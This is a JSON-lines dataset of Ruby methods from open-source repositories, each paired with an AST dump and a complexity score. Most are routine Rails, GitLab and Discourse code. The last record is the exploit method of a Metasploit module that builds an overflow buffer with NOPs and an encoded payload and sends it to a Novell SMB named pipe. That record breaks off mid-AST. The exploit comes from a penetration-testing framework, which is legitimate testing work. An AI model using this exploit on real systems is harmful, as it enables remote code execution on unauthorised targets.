{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/data_migrations/set_reverse_geocoded_at_for_points_job.rb","start_line":6,"raw_source":"def perform\n    timestamp = Time.current\n\n    Point.where.not(geodata: {})\n         .where(reverse_geocoded_at: nil)\n         .in_batches(of: 10_000) do |relation|\n      # rubocop:disable Rails/SkipsModelValidations\n      relation.update_all(reverse_geocoded_at: timestamp)\n      # rubocop:enable Rails/SkipsModelValidations\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Point\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"geodata\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_geocoded_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[10000]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_geocoded_at\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}]}]}]}","id":"3e6cf5a9-fcd1-4d46-9f12-188e124b3773"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/package_json_linker.rb","start_line":10,"raw_source":"def link_dependencies\n        link_json('license', &method(:license_url))\n        link_json(%w[homepage url], URL_REGEX, &:itself)\n\n        link_packages\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"link_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_json\",{\"type\":\"str\",\"children\":[\"license\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"license_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"link_json\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"homepage\"]},{\"type\":\"str\",\"children\":[\"url\"]}]},{\"type\":\"const\",\"children\":[null,\"URL_REGEX\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"itself\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_packages\"]}]}]}","id":"53e4de47-6595-410c-b91e-811e8386e804"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ml/mlflow/api_helpers.rb","start_line":18,"raw_source":"def check_api_model_registry_read!\n          not_found! unless can?(current_user, :read_model_registry, user_project)\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_api_model_registry_read!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_model_registry\"]},{\"type\":\"send\",\"children\":[null,\"user_project\"]}]},null,{\"type\":\"send\",\"children\":[null,\"not_found!\"]}]}]}","id":"020fdf6f-d732-4984-9f68-efc5438d799f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorizations/ci_access/filter_service.rb","start_line":66,"raw_source":"def protected_ref_filter_present?\n            filter_params.has_key?(:protected_ref)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_ref_filter_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_params\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"protected_ref\"]}]}]}","id":"60784bae-9b85-4b8c-a78c-088e2e7eb5c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/delete_test_users.rb","start_line":40,"raw_source":"def fetch_test_users\n        qa_users = fetch_resources(\"/users?search=qa-user-\")\n        test_users = fetch_resources(\"/users?search=test-user-\")\n        users = qa_users + test_users\n\n        users.select do |user|\n          user[:username].start_with?('qa-user-', 'test-user-') \\\n            && user[:name].start_with?('QA User', 'QA Test') \\\n            && @exclude_users.exclude?(user[:username])\n        end\n      end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_test_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"qa_users\",{\"type\":\"send\",\"children\":[null,\"fetch_resources\",{\"type\":\"str\",\"children\":[\"/users?search=qa-user-\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"test_users\",{\"type\":\"send\",\"children\":[null,\"fetch_resources\",{\"type\":\"str\",\"children\":[\"/users?search=test-user-\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qa_users\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"test_users\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"qa-user-\"]},{\"type\":\"str\",\"children\":[\"test-user-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"QA User\"]},{\"type\":\"str\",\"children\":[\"QA Test\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exclude_users\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]}]}]}","id":"fd443af6-c2ba-4a53-a2b7-8af411f2e7b8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":468,"raw_source":"def on_sale?(currency)\n      @on_sale ||= price_in(currency)&.discounted?\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_sale?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"currency\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@on_sale\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"price_in\",{\"type\":\"lvar\",\"children\":[\"currency\"]}]},\"discounted?\"]}]}]}","id":"e86b2411-e688-4efc-a8b9-607e84c8676b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/heredoc.rb","start_line":28,"raw_source":"def delimiter_string(node)\n        return '' unless (match = node.source.match(OPENING_DELIMITER))\n\n        match.captures[1]\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"delimiter_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"OPENING_DELIMITER\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"captures\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"ad9ee2d4-0414-48a3-a761-933c05f79d10"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/sanitize_helper_test.rb","start_line":217,"raw_source":"def test_safe_list_sanitizer_returns_a_sanitizer\n    sanitizer = @subject_class.safe_list_sanitizer\n\n    assert_equal(vendor.safe_list_sanitizer, sanitizer.class)\n    assert_respond_to(sanitizer, :sanitize)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_safe_list_sanitizer_returns_a_sanitizer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitizer\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject_class\"]},\"safe_list_sanitizer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vendor\"]},\"safe_list_sanitizer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"sanitizer\"]},{\"type\":\"sym\",\"children\":[\"sanitize\"]}]}]}]}","id":"8f9c2203-a90c-449f-9060-5ab088427fc3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/topic_title_translator.rb","start_line":10,"raw_source":"def system_prompt\n        examples = [\n          {\n            input: {\n              content: \"New Update for Minecraft Adds Underwater Temples\",\n              target_locale: \"es\",\n            }.to_json,\n            output: \"Nueva actualización para Minecraft añade templos submarinos\",\n          },\n          {\n            input: {\n              content: \"Toyota announces revolutionary battery technology\",\n              target_locale: \"fr\",\n            }.to_json,\n            output: \"Toyota annonce une technologie de batteries révolutionnaire\",\n          },\n          {\n            input: {\n              content:\n                \"Heathrow fechado: paralisação de voos deve continuar nos próximos dias, diz gestora do aeroporto de Londres\",\n              target_locale: \"en\",\n            }.to_json,\n            output:\n              \"Heathrow closed: flight disruption expected to continue in coming days, says London airport management\",\n          },\n        ]\n\n        <<~PROMPT.strip\n          You are a translation service specializing in translating forum post titles from English to the asked target_locale. Your task is to provide accurate and contextually appropriate translations while adhering to the following guidelines:\n\n          1. Translate the given title from English to target_locale asked.\n          2. Keep proper nouns and technical terms in their original language.\n          3. Attempt to keep the translated title length close to the original when possible.\n          4. Ensure the translation maintains the original meaning and tone.\n\n          To complete this task:\n\n          1. Read and understand the title carefully.\n          2. Identify any proper nouns or technical terms that should remain untranslated.\n          3. Translate the remaining words and phrases into the target_locale, ensuring the meaning is preserved.\n          4. Adjust the translation if necessary to keep the length similar to the original title.\n          5. Review your translation for accuracy and naturalness in the target_locale.\n\n          Here are three examples of correct translations:\n\n          Input: #{examples[0][:input]}\n          Output: #{examples[0][:output]}\n\n          Input: #{examples[1][:input]}\n          Output: #{examples[1][:output]}\n\n          Input: #{examples[2][:input]}\n          Output: #{examples[2][:output]}\n\n          The text to translate will be provided in JSON format with the following structure:\n          {\"content\": \"Title to translate\", \"target_locale\": \"Target language code\"}\n\n          Remember to keep proper nouns like \"Minecraft\" and \"Toyota\" in their original form. You are being consumed via an API that expects only the translated title. Only return the translated title in the correct language. Do not add questions or explanations.\n        PROMPT\n      end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"system_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"examples\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"New Update for Minecraft Adds Underwater Temples\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_locale\"]},{\"type\":\"str\",\"children\":[\"es\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\"Nueva actualización para Minecraft añade templos submarinos\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"Toyota announces revolutionary battery technology\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_locale\"]},{\"type\":\"str\",\"children\":[\"fr\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\"Toyota annonce une technologie de batteries révolutionnaire\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"Heathrow fechado: paralisação de voos deve continuar nos próximos dias, diz gestora do aeroporto de Londres\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\"Heathrow closed: flight disruption expected to continue in coming days, says London airport management\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You are a translation service specializing in translating forum post titles from English to the asked target_locale. Your task is to provide accurate and contextually appropriate translations while adhering to the following guidelines:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"1. Translate the given title from English to target_locale asked.\\n\"]},{\"type\":\"str\",\"children\":[\"2. Keep proper nouns and technical terms in their original language.\\n\"]},{\"type\":\"str\",\"children\":[\"3. Attempt to keep the translated title length close to the original when possible.\\n\"]},{\"type\":\"str\",\"children\":[\"4. Ensure the translation maintains the original meaning and tone.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"To complete this task:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"1. Read and understand the title carefully.\\n\"]},{\"type\":\"str\",\"children\":[\"2. Identify any proper nouns or technical terms that should remain untranslated.\\n\"]},{\"type\":\"str\",\"children\":[\"3. Translate the remaining words and phrases into the target_locale, ensuring the meaning is preserved.\\n\"]},{\"type\":\"str\",\"children\":[\"4. Adjust the translation if necessary to keep the length similar to the original title.\\n\"]},{\"type\":\"str\",\"children\":[\"5. Review your translation for accuracy and naturalness in the target_locale.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Here are three examples of correct translations:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Input: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"input\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Input: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"input\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Input: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"input\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examples\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"The text to translate will be provided in JSON format with the following structure:\\n\"]},{\"type\":\"str\",\"children\":[\"{\\\"content\\\": \\\"Title to translate\\\", \\\"target_locale\\\": \\\"Target language code\\\"}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Remember to keep proper nouns like \\\"Minecraft\\\" and \\\"Toyota\\\" in their original form. You are being consumed via an API that expects only the translated title. Only return the translated title in the correct language. Do not add questions or explanations.\\n\"]}]},\"strip\"]}]}]}","id":"155e0d04-23b8-4dd5-9e9c-d615df933da8"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_builder.rb","start_line":257,"raw_source":"def config_file(name)\n      File.join(File.dirname(__FILE__), 'builder', name)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\"builder\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"eb0da256-aa29-4670-91f7-c61ff68b79a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/sorting_helper.rb","start_line":32,"raw_source":"def initialize(value)\n      @value = value\n      @reverse = false\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reverse\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"bd60743f-df16-4389-9dd8-dc3a57dfdc97"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb","start_line":124,"raw_source":"def exploit\n    heap_pointer_leaked, object, method, shellcode = mem_leak()\n\n    return if not shellcode\n\n    sploit = [0x00000002].pack('V')\n    sploit << [0x00000000].pack('V')\n    sploit << [object].pack('V')\n    sploit << [0x00000000].pack('V')\n    sploit << rand_text_alpha_upper(240)\n    sploit << [object].pack('V') * 32\n    sploit << [method].pack('V') * 32\n    sploit << [shellcode].pack('V') * 32\n    sploit << make_nops(748)\n    sploit << payload.encoded\n    sploit << rand_text_alpha_upper(110)\n\n    print_status(\"Connecting to the server...\")\n    connect(versions: [1])\n\n    print_status(\"Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...\")\n\n    begin\n      smb_login()\n    rescue ::Exception => e\n      print_error(\"Error: #{e}\")\n      disconnect\n      return\n    end\n\n    print_status(\"Connecting to named pipe \\\\XTIERRPCPIPE...\")\n\n    # If the pipe doesn't exist, bail.\n    begin\n      pipe = simple.create_pipe('\\\\XTIERRPCPIPE')\n    rescue ::Exception => e\n      print_error(\"Error: #{e}\")\n      disconnect\n      return\n    end\n\n    # ok, set up and send our exploit buffer...\n    fid = pipe.file_id\n    trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')\n    print_status(\"#{sploit.length} bytes written...\")\n    pipe.write(sploit)\n\n    handler\n    disconnect\n  end","complexity_score":76.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heap_pointer_leaked\"]},{\"type\":\"lvasgn\",\"children\":[\"object\"]},{\"type\":\"lvasgn\",\"children\":[\"method\"]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\"]}]},{\"type\":\"send\",\"children\":[null,\"mem_leak\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[240]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[748]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[110]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Connecting to the server...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticating as user '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBUser\"]}]}]},{\"type\":\"str\",\"children\":[\"' with pass '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBPass\"]}]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smb_login\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Connecting to named pipe \\\\XTIERRPCPIPE...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipe\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"create_pipe\",{\"type\":\"str\",\"children\":[\"\\\\XTIERRPCPIPE\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"fid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipe\"]},\"file_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"trans2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"trans2\",{\"type\":\"int\",\"children\":[7]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fid\"]},{\"type\":\"int\",\"children\":[1005]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vv\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes 